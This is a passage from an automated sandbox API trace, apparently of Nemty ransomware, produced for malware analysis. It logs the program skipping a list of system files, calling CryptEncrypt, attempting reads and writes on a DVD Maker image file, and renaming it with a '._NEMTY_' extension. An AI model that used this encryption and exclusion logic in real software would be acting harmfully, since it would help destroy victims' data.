ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2=".") returned 1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="..") returned 1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="...") returned 1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="windows") returned -1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="rsa") returned 1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="NTDETECT.COM") returned 1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="ntldr") returned 1 [0089.790] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="IO.SYS") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="boot.ini") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="boot.ini") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="ntuser.dat") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="desktop.ini") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="RECYCLER") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="bootmgr") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="programdata") returned 1 [0089.791] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="appdata") returned 1 [0089.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0089.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0089.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0089.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0089.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0089.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0089.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0089.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0089.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0089.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0089.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0089.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0089.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0089.792] Sleep (dwMilliseconds=0x5) [0089.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe92d1090, dwHighDateTime=0x1d561e7)) [0089.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe92d1090, dwHighDateTime=0x1d561e7)) [0089.807] GetLastError () returned 0x5 [0089.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.807] GetLastError () returned 0x5 [0089.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.807] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0089.807] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0089.807] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0089.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0089.808] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="IEZP4qqjaiXkCtB7zv6YxMxYYv0ornFCJmmOBwwyxcIbIT+FIku79HVs0hGPu7tp\r\nod9Bi4ahFDE4R5o774Hh82EgePYNRdcxPLzTlAvzr3BQPOVaCVwPStzU9tp5Crzd\r\n0PUoFCe4UOB2ss0YuZmJP2XqMC2V5JgbshLXq6bD9/8c0nEhfpGLn5K7xtLzL90t\r\nm9PDn/Ui1dYfgDefGOXTLeGpDDzEcJYF1cp8uNCIUJGUVV0tYUc7+gPqje/nEASN\r\nl7jmqWgeDhZtFAt3dQXrJVI9SZ4f7WyPlRc3go8R0U1Jjjit1CBpC1Djie4+iF60\r\nuvnmoqmEsTW2ajKHUQBtfA==\r\n", pcchString=0x653e91c) returned 1 [0089.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0089.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0089.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0089.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0089.808] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.812] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0089.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0089.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.908] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0089.920] CloseHandle (hObject=0xffffffff) returned 0 [0089.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0089.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0089.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0089.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0089.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0089.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0089.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.920] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png._nemty_kgobjgd_")) returned 0 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0089.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.921] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2=".") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="..") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="...") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="windows") returned -1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="rsa") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="NTDETECT.COM") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="ntldr") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="MSDOS.SYS") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="IO.SYS") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="boot.ini") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="boot.ini") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="ntuser.dat") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="desktop.ini") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="CONFIG.SYS") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="RECYCLER") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="BOOTSECT.BAK") returned 1 [0089.921] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="bootmgr") returned 1 [0089.922] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="programdata") returned 1 [0089.922] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="appdata") returned 1 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 